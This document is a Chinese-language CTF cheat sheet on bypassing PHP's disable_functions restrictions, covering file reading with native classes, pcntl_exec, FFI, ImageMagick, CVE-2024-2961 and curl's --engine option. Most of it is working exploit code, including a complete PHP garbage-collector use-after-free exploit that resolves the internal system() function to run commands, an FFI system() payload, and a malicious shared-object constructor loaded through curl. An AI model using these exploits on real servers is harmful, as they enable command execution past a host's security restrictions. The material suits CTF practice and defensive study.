尝试执行某些函数返回 xx has been disabled for security reasons 说明 php.ini 配置中 disable_functions 禁用了对应的执行系统外部命令函数,但是我们可以用php内置函数来读取文件

这几个函数实际上也可以被 ban,所以需要尝试 fuzz 找到可用的方法

输出打印

print_r();
var_dump();
var_export();

查看目录

scandir('.')
glob('*')


?><?php $a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}
// glob://伪协议结合原生类列目录

读取文件

show_source();
highlight_file();
file_get_contents();
include();
require();

?><?php echo new SplFileObject('php://filter/convert.base64-encode/resource=/var/www/html/index.php');
// 原生类读文件

RCE Bypass

参考:https://www.freebuf.com/articles/network/263540.html

LD_PRELOAD

见LD_PRELOAD劫持利用


pcntl_exec

条件:PHP安装并启用了 pcntl 插件

pcntl_exec()是 pcntl 插件专有的命令执行函数来执行系统命令函数,可以在当前进程空间执行指定的程序

注意,此函数无回显

相关题目:红明谷2024 noauth


GC UAF

利用php的垃圾回收的漏洞实现绕过安全目录

版本:
7.0 - all versions to date
7.1 - all versions to date
7.2 - all versions to date
7.3 - all versions to date

exp:

c=function ctfshow($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() {
            global $backtrace;
            unset($this->a);
            $backtrace = (new Exception)->getTrace();
            if(!isset($backtrace[1]['args'])) {
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) {

                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) {
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) {
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) {
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {

        $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10;
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }


    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4);
    write($abc, 0xd0 + 0x68, $zif_system);

    ($helper->b)($cmd);
    exit();
}

ctfshow("cat /flag0.txt");ob_end_flush();

FFI

https://www.php.net/manual/zh/ffi.cdef.php

PHP>=7.4

外部函数接口,允许从用户在PHP代码中去调用C代码

public static FFI::cdef(string $code = "", ?string $lib = null): FFI
    
其中$code为一个字符串,包含常规C语言中的一系列声明,
$lib为要加载和链接的共享库文件名称,
如果省略lib,则平台将会尝试在全局范围内查找代码中声明的符号,其他系统将无法解析这些符号。

payload

$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的,需要访问1.txt
$ffi->system($a);//通过$ffi去调用system函数

ImageMagick

条件:

  • 目标主机安装了漏洞版本的imagemagick(<= 3.3.0)

  • 安装了 php-imagick 拓展并在php.ini中启用

  • 编写php通过 new Imagick 对象的方式来处理图片等格式文件

  • PHP >= 5.4

过程:只要将精心构造的图片上传至使用漏洞版本的ImageMagick,ImageMagick会自动对其格式进行转换,转换过程中就会执行攻击者插入在图片中的命令


cnext (CVE-2024-2961)

链接

因为本质是 pwn RCE 的方式,所以可以直接绕过 disable_functions


curl –engine RCE

https://hackerone.com/reports/3293801

类似 LD_PRELOAD,准备一个恶意 so

evil_engine.c

#include <stdlib.h>

// This constructor function is executed automatically by the dynamic loader
// as soon as the library is loaded into the process address space.
__attribute__((constructor))
static void rce_init(void) {
    system("id > /tmp/RCE_VIA_ENGINE");
}

编译

gcc -fPIC -shared -o evil_engine.so evil_engine.c

poc:

curl --engine `pwd`/evil_engine.so https://example.com

php中的利用:

$ch = curl_init("http://example.com");
curl_setopt($ch, CURLOPT_SSLENGINE , "/tmp/2.so");
$data = curl_exec($ch);
curl_close($ch);

缓冲区关闭

https://blog.csdn.net/Kracxi/article/details/121723791

ob_get_contents();
// 打开缓冲区,开始输出缓冲, 这时PHP停止输出, 在这以后的输出都被转到一个内部的缓冲里
ob_end_clean();
// 清空(擦除)缓冲区并关闭输出缓冲

一旦缓冲区被 ob_end_clean 清除,我们就无法得知命令执行结果

绕过方法:

执行完我们传入的代码然后直接结束程序不执行后面的代码

die();
exit(0);